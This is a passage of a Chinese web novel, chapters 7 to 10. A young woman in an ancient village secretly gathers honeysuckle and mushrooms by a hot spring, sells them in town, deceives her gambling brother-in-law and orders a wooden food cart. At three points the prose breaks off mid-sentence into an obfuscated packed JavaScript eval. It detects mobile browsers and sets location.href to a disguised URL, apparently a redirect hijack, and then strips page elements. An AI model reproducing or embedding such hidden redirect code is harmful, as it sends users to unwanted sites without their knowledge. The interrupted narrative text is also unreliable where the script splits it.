《摆摊小食经营日常》 7. 进山 毕竟是昨日里刚买了精米，沈二贵与李凤娟说去山里是个力气活，便让她多煮些白粥。 两碗白粥上桌，沈二贵就将一碗粥推到吴怀夕面前，喊着“嫂嫂先吃”，着实热情。 现在的吴怀夕可是他心中的财神菩萨，那碗李凤娟盛给自己的白粥就这样进了吴怀夕的肚。 不愧是精米，煮出来的粥也是洁白如玉，米香四溢。 吴怀夕舀了一口粥，咽进嘴里，也不用就腌菜，柔然细腻的粥在舌尖化开，不用过多的咀嚼便滑入喉咙，直达胃部。 热气蒸腾，叫人的身子都暖和不少。 等李凤娟端出一碗带汤水的，碗底里见不得几粒米的白粥时，吴怀夕与沈二贵早就背着背篓进山，而桌上她那只自己的大碗已经空空如也。 她骂了沈二贵一句“胳膊肘往外拐”，又愤恨地喝了一口米汤。 进山的路并不好走，需要通过一条小径，小径泥泞又狭窄，板车是不能拉进山的。 二人在山外头捡了两根粗树枝，将板车停在了一旁，一前一后，拄着慢慢靠近了山脚。 由于前几日下了雨的缘故，山脚的枯木下果然长了不少的菌子，闷在一堆杂草下的，是一些香菇与平菇，还有一些色彩艳丽的毒菇。 吴怀夕只是扫了一眼，也并未看见昨日见到的羊肚菌与鸡枞菌。按照老太太们的说法，是再要往山里进进。 她今日的目标并非那些菌子，毕竟身边跟着沈二贵这人，还在傻乐呵。 决明子是常见的草药，二人往山中走了一阵，便寻到了决明子灌木丛。 这样大的一片决明子丛，上方缀满了豆荚一般的果实，看来并没有多少人摘取。吴怀夕望着这决明子丛有些吃惊，她见过决明子花，娇艳可爱。若是春日里来，就能见到遍野的黄花，定是好看极了。 见沈二贵正靠着树枝休息，吴怀夕便喊他来采摘，他虽说有些不情愿，但今日毕竟是第一次进山，他叹了几口气，还是将吴怀夕的背篓取来，去将那些豆荚般的果实摘进背篓。 “二贵儿，你且在这儿摘着，我去寻寻其他的药材。若能寻到，也能多卖些钱，给二贵儿读书。” 吴怀夕将一条汗巾搭在了他的背篓上，笑容温柔似水。 “嫂嫂莫要往深了进，虽说是冬日里，保不齐会有野兽出没。” 沈二贵听了这话，更是有了些干劲，拿起那条汗巾，擦了擦那根本没有冒汗的额角，目送着自家嫂嫂离开。 吴怀夕往山里走了走，在确保沈二贵瞧不到她的影子后，便按照老太太们说的方位寻了过去。 杏花村的人平日里靠种田绩麻过日子，要说从前还有一两位猎户去深山里打猎，但如今基本每家每户都有一亩农田，男人们领了锄地插秧的任务，便很少有人再进深山了。 山中草木茂盛，许多巨松上都爬满了藤蔓，着实有些难走，也不知那些老太太是如何顺利进去的。吴怀夕一边用手中的枯树枝扫去路上的障碍，一边感叹。 老太太这样的人物，无论是在古代还是在现代，都是有些本事在身上的。 按理说越往里头走，越阴凉才是，但她倒是觉得，怎么身上并不寒冷，反而暖和起来。走了不多会儿，她便听到了潺潺的流水声，再仔细瞧瞧，竟有水汽从树林见蒸腾出来。 吴怀夕心中一惊，便快步朝着那处有水汽的地方走去。 待到了地方，她终于打消了这两天心中的疑惑，为何这样冷的冬日，在没有温室培育这种东西的古代，山中会长出鸡枞菌这样喜热的菌子。 这儿竟有一处温泉！ 她用手试了试这温泉水，温度适宜，最适合温养植物。她心中大喜，这样的温泉水，也许不止能长出菌子...... 吴怀夕绕着这方温泉走了一圈，果然在温泉旁的几棵树下，发现了许多才长出来的羊肚菌与鸡枞菌，一旁支着白色杆子的竹荪，也冒出来不少。若是再挑开一些杂草，还能捡到不少松茸。 可最让她激动的，不是这些菌子，而是她找到了金银花。 它的价值，可要比那些决明子与鸦胆子金贵的多。这被称为金银花的东西，在温泉的熏陶下，倔强地开着它白色的小花。 吴怀夕捧着那花，几乎落下泪来。 有了这些东西，她就能多挣一些钱，就能更快地想办法脱离这个个都不怀好意的沈家。 她用这温热的泉水洗了一把脸，泉水旁待了一阵，平复了她激动的心情，再慢慢地返回沈二贵采药的地方。 那沈二贵哪里在采药，早就找了一棵大树，坐下那树身旁靠着酣然大睡。一旁的背篓里也只有半筐决明子，大概是待她走了不久后，就躲懒睡觉了。 吴怀夕靠近沈二贵用树枝戳了戳他的肩膀。待沈二贵睁开眼睛，又是那温柔似水的嫂嫂，嫂嫂的眼睛有一些红肿，似是刚刚哭过，急得他马上询问缘由。 “二贵儿。” 吴怀夕吸了一口气，悠悠开口，“叫你这样的读书人，跟着嫂嫂来采药，真是苦了你了。你瞧瞧，日头还早，你就这样疲累，你这样捧书拿笔的纤纤手指，以后是要用来挥毫泼墨，做大相公的，怎能用来采药。” 沈二贵的手指又粗壮又黑，也不知道吴怀夕怎么怎么样夸赞出来的。 她确实能说会道，从前为了拿下一些盒饭单子，如何长相，如何气质的老板，她都能说成是天上的谪仙人。 沈二贵眼睛才刚刚睁开，都还未反应过来，便听得自家嫂嫂夸他，心中自然是美，连声应着嫂嫂说的极是。 见自家嫂嫂说完他以后，继续去一旁的决明子从采摘果实，而他却坐在大树下，实在是有些不好意思，便一个鲤鱼打挺，嘴上说着“来帮嫂嫂”，将那果实尽数捋下。 二人采了一背箩，才出了山，拉了板车，去镇上的药铺里兜售。 药铺掌柜见昨日的小娘子果真带来了药材，想着这样瘦弱的姑娘，竟跑到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059299|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深山里去，摘了这样多的决明子，心中更是对她刮目相看。 这时候他又瞥到了一旁的沈二贵，正目不转睛地盯着她傻乐，心中又想着，怎么把这傻子也带来了，真是晦气。 背篓里的决明子是有外壳的，待药铺掌柜除去了那些外壳，真正到他手中，也只有五斤重。按照昨日里说好的价钱，这一背篓决明子，一共挣了五十文。 吴怀夕什么都没有说，将那五十文全都交到了沈二贵的手里。而沈二贵心中早就已经谋划好了，若是自家嫂嫂每日都能挣上五十文，给娘二十文，自己拿三十文，那岂不是日日有三十文进账！ “二贵儿，这些钱都给你拿着，嫂嫂心安。” 吴怀夕将空的箩筐背在了身上，声音有一点迟疑，“那待明日里，再去采些。只是......” 她低下了头，“采药实在辛苦，二贵儿还是去读书吧。” 只有将沈二贵这人引开，她才能去温泉旁捡菌子来卖钱。吴怀夕将沈二贵的心思给摸了个透彻，想必他心里是巴不得不与她一起采药的，何况他的手中手中还有余钱。 “嫂嫂......” 这可将沈二贵激动地热泪盈眶，他本就不愿意进山，山道上泥泞，山路不好走另说，让他在山中呆上一天，甚是无趣。 本想着与嫂嫂单独相处，定是有机会做些美事的。可是每每等他靠近嫂嫂的身旁一会，嫂嫂便要说起他与大哥的那件事来，哭着喊着要回娘家。 这都要怪那大哥！大半夜不睡觉，非要嫂嫂给他做吃食，才让嫂嫂误会了去，不然他早就与嫂嫂有了肌肤之亲。 现下嫂嫂主动提出来要独自进山，不叫他在一旁看着，每日又有三十文进账，这不就是让他好好去赌坊乐一乐？天下竟会有这样好的嫂嫂。 沈二贵一边想着，一边从那五十文中拿出两文放到吴怀夕的手里，“嫂嫂这样辛苦，真是受累了。” 吴怀夕摸着手中两枚铜钱，依旧面不改色，“二贵儿不去书院里看看先生吗？嫂嫂依旧在这边等你便是。” “嫂嫂说的极是！” 沈二贵攥着手中的钱，一边说着要买些礼品，一边头也不回地往赌坊子跑，竟是连做戏都不做了，完全忘记了书院与赌坊子是相反的方向。 两文钱，连一个肉包子都买不到。时候并不早了，熙熙攘攘的街道上，传来来阵阵甜香。 很快便有一辆卖烤红薯的小推车从吴怀夕面前经过。 两文钱，还能买到一只比她手心还大的烤红薯。 吴怀夕将热腾腾的烤红薯慢慢剥开，露出里面的橙黄的果肉来。 红薯在碳炉子里被烤得透彻，香软无比。咬上一口，便是甜丝丝的口感，软糯得能流下蜜汁来。 待她吃完一整只烤红薯，手上已经沾了炭灰。她又跑到小河边去洗手，一边洗着，一边望向烤红薯小贩的推车。 要是她有这样一辆推车用来卖吃食，也是不错。 8. 买卖 五十文钱除去给吴怀夕的那两文，叫沈二贵输了个精光，哪还有余钱交给李凤娟。 他没有办法，夜里回去时，又给李凤娟编借口，说是嫂嫂确实挣到了钱，但被他孝敬先生去了，李凤娟这才作罢。 但她的心里又极不是滋味，到底是个如何黑心肝的先生，怎么总是要他儿子来孝敬。 她把气撒到了吴怀夕身上，叫她每日多挣些钱，改明日换一家书院去。 而吴怀夕继续扮演着一位乖媳妇的模样，连声回应，也帮着沈二贵隐瞒。待李凤娟消了气，再嘴甜会，夸上几句“二贵天资聪颖”，将这娘俩哄得一愣一愣的，硬是让李凤娟在给沈二贵热饭的时候，多给添了她半碗。 又是一个清晨，吴怀夕与沈二贵二人在李凤娟的目送下，早早离了家。 昨日吴怀夕已经摸透了沈二贵的心思，二人刚将板车拉到山脚下，她便劝着沈二贵好好去书院读书。 那副温柔似水、苦口婆心的样子，在沈二贵的眼中，与自己刚刚娶进门的媳妇儿并无区别，心中更加不满起自己的大哥来。 今日沈二贵又继续用读书的借口，从李凤娟那里诓骗来五十文，并再三保证这是本月最后一次给先生送礼。 这想去赌坊子的心思与规劝他去书院的话语，正中沈二贵下怀，他表面上再三感谢几句嫂嫂，又添几句嫂嫂辛苦了，便头也不回地往镇里跑。 待送走了沈二贵，吴怀夕独自一人进了山，许是近两日老太太们都没来捡，温泉旁的菌子更多了。 清晨的阳光透过松林，洒在柔软的松针上，氤氲的温泉水汽中透着一股好闻的松香。 吴怀夕趴在松针上，小心翼翼地将那些菌子给采下来。温热的水滋养了一些价值高的菌子，但其中也包含着一些毒菌，她仔细地辨认着，很快就将背篓装满了半筐。 她并不多采，又将一旁的金银花摘了些，塞在菌子旁，随后继续往昨日摘决明子那儿的地方去。 昨日她与沈二贵是将决明子连同外壳一起摘，除去那些外壳，拢共是五斤重。 今日则是不同，她脱掉了身上的一条里衣，少采了一些决明子，覆盖在菌子与金银花之上。 如此下来，不会有人发现她只采了少量的决明子。 今日的吴怀夕十分有干劲，这才刚到午时，她就已经将背篓全部装满了。待她下了山，拉起那板车走到镇上，日头依旧很大，时间还不晚。 小镇上的赌坊子赌得并不大，也就几文钱的筹码来来回回，摇摇骰子、推推骨牌，你赢一把，他输一把，可以玩一天。 因此她并不担心沈二贵会从哪里冒出来，毕竟他这人赌瘾极大，就算将手里的银钱输的一干二净，还要旁观别人，指挥指挥，不在里面泡上个一天，是不会出来的。 “吴小娘子，今日的决明子只有两斤重，这是给你的二十文。” 药铺掌柜称了吴怀夕背篓里的决明子，满脸和煦地给吴怀夕数银钱。 他本想称她为沈家的媳妇儿或者大贵媳妇儿，但是瞧着她精明干练的样子，这两个称呼到了嘴边，便被他生生地咽了下去。听闻是吴家的姑娘，他便喊上一声“吴小娘子”，见她听了这个称呼，脸上的笑意更甚，想必是满意的。 “今日我想请掌柜帮我瞧瞧，这金银花现下值多少银钱？” 吴怀夕从怀中拿出了一朵新鲜的金银花，递到药铺掌柜面前晃了晃。 “这冬日里竟有这样新鲜的金银花？” 药铺掌柜看见那多开得正好的黄白色小花，脸上的眼珠子都随着吴怀夕晃动的手转来转去，“吴小娘子，你，你有多少？” 要知道那董富户家的大儿子咳疾严重，而金银花有清热解毒、宣散风热之功效，对于缓解咳疾有奇效。 这去年收的晒干的金银花可冲泡、可入药，而新鲜的金银花，若是用来加入寻常的饮食中，当作药膳，那董大公子的咳疾也能好得快些。 “掌柜还未告诉我，这新鲜金银花的价格呢。”吴怀夕只是笑笑。 “许能给吴小娘子五十文一斤。” 掌柜心领神会，只能讪讪开口，并不再多问，“这金银花是寻常可是要到五月才见到，可那董大公子这两月就难受得紧，自然是需要的。可惜那几位采药郎，竟因为怕冷躲懒，白白浪费了这挣钱的大好机会。” “既然是要紧的草药，五十文，是不是有些太......” 吴怀夕将金银花收了回来，重新放进了怀里，转身便要走，“我瞧着镇上也不止掌柜一家药铺，我再去别家问问吧。” 这金银花若是卖到县里，可是翻上一翻不止，见这好生意马上要落到别家去了，药铺掌柜连忙喊住已经走到门口的吴怀夕，“吴小娘子请留步，七十文，七十文可好？” 吴怀夕将踏出门槛的脚给收了回来，朝着掌柜的盈盈一笑，“自是好的。” 她将背篓中的金银花拿了出来，药铺掌柜称了又称，大约有有一斤多重，便给了吴怀夕八十文。 虽说决明子一斤重卖十文钱，可那东西剥去外壳，比松子还要小上几分，费时费力不说，采上个一天，也挣不上多少银钱，更何况那本就是用来迷惑沈家的东西。 而金银花却不同，它本是花，采起来省时又简单，若不是今日吴怀夕想先来试试水，每日采上个三四斤，都没有问题。 她颠了颠手中的银钱，不多，但对于她来说，这便是她挣到的第一笔属于她自己的银钱。 当然，在与药铺掌柜确保她只会将金银花卖给他一家的同时，她也请药铺掌柜作了个保，若有人问起，请务必说她只来他们家兜售决明子。 有些东西，放在现代人与古人身上，是相同的。 那便是生意人之间的秘密。 还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059300|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半背篓的菌子没有卖，吴怀夕将板车停在了老地方，叫卖红薯的小贩帮忙照看后，背着背篓就去了镇上一家较为出名的食肆处。 她并不光明正大地踏入食肆兜售菌子，而是花了十个文雇了个扛货的小伙，打听了那食肆的常客都有些哪些，而后找了一位看起来老实的中年男人，又花了二十文，请人喝了一壶烧刀子。 这小酒儿一喝，上了头，那是五湖四海皆兄弟，这好兄弟有上好的菌子卖不出去，自然要帮个忙与食肆的掌柜说道说道。 食肆掌柜瞧见是常客介绍的，又见那些菌子实在是好，还是这个季节都难以见到的菌子，若是用来做菜炖汤，定是要大赚一笔，更是连连答应，让他日后再多送些来。 而这扛货的小伙本就是挣苦力的，这白白得了十文钱，还有酒喝，当然是乐意至极。要问这小娘子为何如此，只见那小娘子戴着面纱，声音戚戚，说是丈夫卧病在床，没有办法，只能捡些菌子来卖。 小娘子虽戴着面纱，但流下的眼泪几乎要将那面纱浸湿。小伙心肠好，这哭声听得心里发颤，拍了拍胸口，说着“叫小娘子放心”。 这一趟下来，吴怀夕那半箩筐菌子，也是卖上了一百文。 除去花掉的三十文，她的身上属于她自己的，已经有整整一百二十文。 忙完这些事，也已经快要到了申时，日头也在缓缓西沉。 估摸着沈二贵手里的钱也是快要输光了，吴怀夕便回到了停到板车的地方。 为了感谢那卖红薯的小贩替她看管板车，她又买了一只红薯。待吃完那红薯后，她捏了捏自己纤细的胳膊，想着定是要多吃些，多长些肉出来。 于是她一头便扎进了一家馄饨铺子。 桌上的馄饨热气腾腾，将她本就发红的眼睛又熏了些泪花出来。 一碗简单的馄饨，只要五文钱，却是她来到这儿，除了那点猪油渣子，吃到的第一样肉食。 碗里的馄饨皮薄如纱，晶莹剔透，包裹着肉馅，浮在碗中，一个个饱满可爱。吴怀夕迫不及待地舀起一只，放进嘴里，险些烫坏了舌尖。 馄饨的内里是笋丁与猪肉，冬日里的甘甜爽口的笋尖混着肥瘦相间的猪肉，每嚼一口，都是唇齿留香。 碗中的汤更是有它的妙处，看起来平平无奇的汤底，却夹杂着一股猪骨熬制的浓香，再添上一勺香油，便是鲜得叫人捧着大碗，连那汤底都喝个干净。 吴怀夕也确实将它喝了个干净，她揉了揉自己终于觉得有些饱的肚子，重新到了板车的地方。 用来盖菌子的里衣已经重新被她穿在了身上，虽然脏了些，好在不是贴身的，那都是用来挣钱的家伙，她也不嫌弃。而那剩余的银钱，她特地买了一个荷包，也藏进了里衣。 待沈二贵从赌坊子出来，依旧见到落日的余晖下，那穿着红袄子的嫂嫂坐在板车上，正温柔的朝着他笑。 9. 木活 沈二贵昨日的赌运不错，非但没输光身上的五十文钱，反而又赢了二十文，再加上从吴怀夕手中拿到的三十文，拢共有一百文，这叫他心里很是得意。 那剩余的二十文还是交到了李凤娟手里，若再不交，保不齐李凤娟要生出疑虑来。 倘若哪一日心血来潮跟着他们一块进山，这知道自家嫂嫂一个人在山中采药还好，要是让她发现自己终日去赌坊子转悠，那日后他定是一个子都拿不到。 这短暂的快活与长久的银钱，沈二贵还是分得清的。 今日沈二贵攥着他那一百文，早早就去了镇上，连在山脚下都不愿多停留片刻。 吴怀夕倒也落得个清净，早一些进山，就能多采些药材与菌子。 冬日里，山中除了那一方温泉处暖和些外，其他地方依旧湿冷，好在并没有什么野兽，只是偶尔能见着一些捡松果的松鼠与她叫不上名字的鸟。 菌子这东西，冒起来可快。一旦有菌丝浸润在泥地里，今日你摘掉两只，明日便能长出来一茬来。 昨日吴怀夕已经给食肆送了不少菌子，虽说羊肚菌与鸡枞菌实在鲜美，可在这个季节还是金贵，不是所有人都舍得花上几十文去点上这样一道鲜菌子汤，她想着食肆应还有剩余，所以今日的她的目标便多摘一些金银花。 她采了一些松茸铺在背篓的底部，又摘了不少的金银花，几乎将背篓装满，最后她才用布将它们盖起来，将决明子铺在上方。 布是昨日买荷包时新买的，她特地藏在了背篓的底层，才不叫李凤娟与沈二贵两人看见。不过是成衣铺不要的边角料，又是灰色的，三文钱便能买了一大块。 总不能总是用贴身的里衣，会沾泥土不说，她的身上本就穿着一件芦花袄子，离了这温泉处，风一吹，身上依旧是寒津津的，何况还要再脱去一件。 昨日吴怀夕去成衣店时，也见到了不少漂亮的衣裳。 有带着碎花的，也有从仿着县里的样式，绣着各式各样图案的，总之是要比她身上这件连针脚都蹩脚的袄子好上不知多少。 她想着，等多赚些钱，离了这家，就去买几身新衣裳去，去去晦气。每夜呆在沈大贵的房里，都要将她这芦花袄子都熏臭了。 今日的吴怀夕动作更加快，金银花采了不少，到镇上的时候，也更是早些。 天气并不暖和，日头也是象征性地照着，驱不了一些寒气，倒是她的心里，火热得紧。 “吴小娘子，拢共是四斤，您瞧瞧。” 药铺掌柜将秤摆到吴怀夕，叫她瞧上方的刻着的痕迹到哪个位置。 她并不看，只是喝着药铺里的热茶，一双眉目笑意盈盈，“掌柜的说是多少，便是多少。” 从前她刚摆摊子的时，每每去菜场进货，都是要去与那些摊主杀价杀倒最低。她做事雷厉风行，谁都不能短缺了她去。这多少斤多少两，她颠一颠心中就有数。 “吴小娘子挣的这些钱，不给自己留些吗？” 药铺掌柜见面前这吴小娘子还是穿着那件红袄子，衣角那儿似是被树枝勾破了，从里面透出不少芦花絮，上面还沾了一些泥土。 明明模样生得这样标志，卖药也挣了一些钱，却也不见一身新衣裳，心中想着定是沈家苛待她。 “不留了，家里还有三张嘴等着吃饭呢。” 吴怀夕又倒了一杯茶，大口地喝着。今日她干得十分起劲，自然是口干舌燥，几乎要将药铺掌柜桌上的茶壶倒干了。 “这样啊，你这瞧着也忒累了些......” 如此这般苛待，为何还要这样拼命为他们挣钱？这样精明干练的小姑娘，却要侍候那沈大贵，这沈家莫不是给她下降头了？ ！ 想到这里，药铺掌柜浑身一激灵，身上起了鸡皮疙瘩，冷不丁蹦出了一句，“吴小娘子需要算算命吗？又或者说是找个江湖郎中之类......” 听了这话，吴怀夕“噗嗤”一笑，脸上的笑意更甚了，她将茶杯放下，悠然开口，“掌柜的何出此言？您自个儿是个开药铺的，怎么还信起江湖郎中来了？” “嗨，您瞧瞧我。”药铺掌柜一拍大腿，将数好的银钱推到吴怀夕面前，凑近她，小声开口，“吴小娘子啊，有些东西，信信也好，要不我给您介绍一个？” 药铺掌柜打心底里是越瞧这吴小娘子，越觉得沈大贵配不上她，心中愈发笃定她是被下降头了。她看着这样年轻，与他的女儿一般大。若是他的女儿，他定会帮她寻一门好亲事，怎会让她嫁给一个瘫子。 吴怀夕将二百五十文收到了她的荷包里，荷包鼓囊囊的，也沉甸起来。她放好了荷包，才慢慢开口，“也好。除了这事，我还想向掌柜打听打听，哪边有做木活的？” “东边东边。”药铺掌柜连连开口，见这吴小娘子好不容易开口让他帮忙一会儿，心里欢喜，“出了门往东边走上二里地，便到了。您叫他李大叔，他干这行有年头了，吴小娘子想做什么样的家具，您画个样式，他就能给您做出来，还不贵哩。” “那就多谢掌柜的了。” 吴怀夕朝药铺掌柜行了个礼，转身出了门。 她走出了药铺片刻后，却又走了进来，这回她的手上捧了不少松茸，“今日去采药时瞧见的，用来油煎或是炖汤都好，望掌柜不要嫌弃。” 药铺掌柜看着他面前柜台上的松茸，都是新鲜完好的，连伞柄上沾的泥点子都被洗净了。 他的眼眶莫名有些发热。 出了门，吴怀夕按照药铺掌柜所指的方向，朝东边走了二里地，果然看到了一家木行。 那木行虽说不大，但里面的地上堆满了木屑，看样子生意倒是不错。有一位看起来五十多岁的男人，搬了一把椅子，正坐在木行的门口。 这李大叔并不是在做木工活，他的面前摆着一只小木桌，木桌旁点着一只泥炉，里面的煤球烧得正旺，而泥炉的上方摆着一只锅子。他正坐在椅子上，拿着一柄铲子，做着吃食。 一旁木桌上面有三只碗，分别放了搅好的鸡蛋液、猪油与拌好的肉馅。碗旁还有一只盘子，里面空空如也。 他似乎对于做这吃食的活并不拿手，那蛋液滚进锅子里，不是被煎得发黑，就是做不成一张饼皮的样式。 实在是没有办法，泥炉将他的脸熏得有些发红，他只好擦了擦额角的汗，将这些失败的鸡蛋囫囵吞进嘴里。 “李大叔这是在做蛋饺吗？” 吴怀夕将身子凑了过来，见他都将鸡蛋液浪费了不少，笑着说道，“不是这样做的哩。” 李大叔抬头，瞧见一位小姑娘凑在他身边，盯着他的锅子看。他瞧了瞧她的模样生得可人，也没瞧见她沾了泥的芦花袄子，只是以为是哪家贪玩的闺女跑出来玩，“难不成你会做？可不要说大话。” “会呀。” 吴怀夕将背篓放在一边，笑着指挥说教，“李大叔，您这火太大了，上面的蛋液都没结好，底下的都焦啦。” 李大叔听了也觉得有道理，但见她年纪不大，又觉得她在说大话，不自觉得跟着笑起来，他将铲子塞到她手里，“光说我也会，你做一个让我瞧瞧。” “那您瞧瞧。” 吴怀夕接过铲子，但并不先做，而是将铲子先放在一旁的木桌上。她用桌上的抹布捏住锅子的手柄两端，将它从泥炉上端了下来，用地上的铁钳子钳去了泥炉中的一块煤球。 片刻后，她用手心试了试泥炉上方的温度，再将锅子给端了上去。 她用调羹擓了一丁点儿猪油，扣入锅中，遇到热气，猪肉很快在锅中融化。 她拿起铲子铲了铲，将那点子油铲了个匀称，叫它挂上锅壁。随后，她立刻舀了两勺蛋液，迅速地滑入锅中。 适宜的火候让蛋液熟得很快，挂了油的锅壁也不会让它焦糊。待蛋液变成了一层薄薄的蛋皮，再在上面放满肉馅。 蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059301|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮的边上鼓起了一些极小的泡，此刻便用筷子将蛋皮翻折起来，上方还未成型的一点蛋液与蛋皮黏合在一起，形成了一只饺子的模样。 她将蛋饺铲进桌上那只盘子里，笑着递给了在旁边看得目瞪口呆的李大叔。 盘中的那只蛋饺火候掌握得刚好，金黄的蛋皮裹着肉馅，十分饱满，找不出一点焦糊的痕迹。 “闺女年纪不大，这做蛋饺的手艺，竟是比我媳妇儿还好哩。” 李大叔盯着那只蛋饺左看右看，啧啧夸奖，“只是她与我儿子媳妇儿回娘家探亲了，小孙女吵着要吃蛋饺，我才做的。平日里瞧着我媳妇儿做得简单，没想到自己做还怪难的。” “那我帮李大叔全做了，保管您小孙女喜欢吃。” 李大叔将盘子放在了桌上，打量了一阵吴怀夕，“我瞧着你也不是来专门给我做蛋饺的......怎么的，要打家具吗？尽管与李大叔讲，什么样式的，李大叔都给你做出来。” 吴怀夕笑着点了点头，与李大叔进了他的木行，用纸笔给他画了样式。 李大叔拿起那张纸，仔细瞧了瞧，摸了摸下巴，“这样式儿的，还真未做过。” “可做得出来？” 吴怀夕有些迫切，若真能做出来，那离了沈家，也是有了去处。 “做是做得出来。” 李大叔方才已经瞧见了吴怀夕身上的芦花袄子，看着她的样子，不像是能拿出许多钱财的人，他叹了一口气，“只是要花上好些木头，拢共啊要五两银子呢。” 这样式好是好，但是要做得一模一样，要多花银子。 若是每日多摘些金银花，隔几日捡些菌子......五两银子，吴怀夕在心底里算了算，一个月…… 她咬了咬牙，实在不行，那便一整日呆在山上，多采些其他的草药来。 若不是寻到这方温泉，一个月挣五两，她是想都不敢想的。 她挣的是快钱，一旦天气暖和，这些东西便不值钱了。 到那时，就要想其他挣钱的法子。她这辆小推车，是一定要做出来的。 “五两便五两。”吴怀夕深吸了一口气，依旧笑道，“只要李大叔能做出来。” “自然是能做出来，我做吃食的手艺是不行，但是你要我做这些东西啊，我保管一个月就能给你做个与你给我画的一样的来。” 李大叔拍了拍胸膛，信誓旦旦。但很快他又眉头一皱，“只是你得先付些定金，你看我这些木头，都需要银子。要不......你就先付我三百文？” 面前的小姑娘眼中满是期待，眉头又是紧皱着，方才瞧着她乖巧，李大叔实在是有些于心不忍，便说了个最低的数。 “好！” 昨天花剩下的钱，加上今日卖金银花的钱，属于吴怀夕自己的，还有剩余。 她都已经在为先挪用给沈二贵的钱编排个什么借口了，没想到这李大叔只收她三百文。 她自是高兴的，连忙数了钱交到李大叔的手中。 “我有一个条件。”李大叔收了他的钱，笑得合不拢嘴，“你刚刚答应给我小孙女做蛋饺，可别赖账。” “保证不赖账！” 待吴怀夕将桌上所有的蛋饺做完，也临近申时。 李大叔也将她的小孙女从学堂接了出来，他将做好的蛋饺与咸肉一起拿去炖了，又炒了个青菜，好客地将吴怀夕留下来吃饭。 他的小孙女伶俐可人，声音软软糯糯，裹得像个团子一样，一直拉着吴怀夕的衣袖，她实在是推脱不得。 炖好的蛋饺被小孙女夹到吴怀夕的碗里，咬一口满是蛋香与肉香，肉馅的调味也被调得恰到好处。咸肉切得极薄，炖完后晶莹剔透，油香四溢。 就连面前的米饭，也是压得瓷实。 其实这儿，也不都是像沈家那样的人。 吴怀夕将米饭大口地咽了下去。 还有许多淳朴的人。 10. 房车 这几日又下了几场雨，山路湿滑又泥泞，寸步难行。松针上挂着露水，整个温泉旁浮满了松香与一股泥土的气味。 还未到春日里，湿冷的冬雨与满是水坑的泥路，连那些捡菌子的老太太都不愿意往山里走，这要是跌一跤，那可不得了。但这并没有挫了吴怀夕的锐气，反倒是叫她日日上山来。 雨后的菌子冒得更多，被温泉的热气养着，长得饱满肥厚，挤压在一起。 金银花便不是了。 吴怀夕每日都要采上个三四斤，饶是有一大簇长在一起，它可不像菌子那样过一夜就冒出些。本就掐取最鲜嫩的花朵，这半月下来温泉旁的金银花几乎被她薅秃。 这样下来，一个月以内，哪里能赚到五两银子？又何况她还想多挣些钱，只是一辆推车可不行，柴米油盐，锅碗瓢盆，样样都是钱。 接下来的日子，吴怀夕就更往山的深处去。不单单是每日都要采完足够份量的决明子，鸦胆子、木楝子更要多摘些。 深山里更加寒凉，她挣来给沈家的钱，李凤娟是不愿拿出一个铜板给她的。 那件芦花袄子早就被树枝割破了，跑了许多絮，如今她身上穿的，是李凤娟自个儿都不愿穿的一些衣物。 虽说是棉花袄子，却是从柜子中翻出来的早年衣物，哪有功夫拿出来将它晒得蓬松，阴冷冷地贴在身上，感受不到一点儿暖意。 待吴怀夕每日将所有的东西拉倒镇上兜售完，一定是要去茶水摊子上喝上一碗姜茶才能缓过神来。 “吴小娘子，今日是二百三十文。” 药铺掌柜与吴怀夕吴怀夕做了近一月的生意，他将银钱推到吴怀夕面前。 他眼中的吴小娘子更瘦了。这满打满算，从他手上给出去的银钱，少说也有五两，可面前的吴小娘子，胳膊细得跟竹竿那样，他生怕哪日这东风一刮，给她吹跑了。 给沈家挣了这么多些银钱，难道这十五文一斤的肉，沈家也不愿意多吃几顿吗？ “多谢掌柜。” 吴怀夕将面前的银钱收了起来，又估摸着她存起来的那些，想必是够了。 她笑了笑，又从背篓里拿出了竹荪，得意地同药铺掌柜将她今日又捡到了好些菌子。 这一月来，每隔上几日，吴怀夕都会将捡的一些菌子分给药铺掌柜一些。起初他还推脱，后来，吴怀夕亲自与他讲了一些菌子的吃法，他尝试了以后，便每日期盼起这些菌子。 刚刚摘下的菌子，尝起来果真要鲜掉眉毛。 他现下也不客气，竹荪放到药柜上，他还会问问吴怀夕今日要如何吃这长得洁白细嫩的菌子。 谈笑间，他像是想起了什么，搔了搔脑袋，“吴小娘子，上次我同您说过的那事，你可还记得？真是要去瞧瞧那算命先生，他说得准，这沈家啊......” “定是会去的。” 吴怀夕放下了最后一只竹荪，朝着药铺掌柜微微行了个礼，“这一月来，多亏掌柜的照拂，福娘感激不尽。只是今日是我最后一日送来金银花，日后便不来了。” 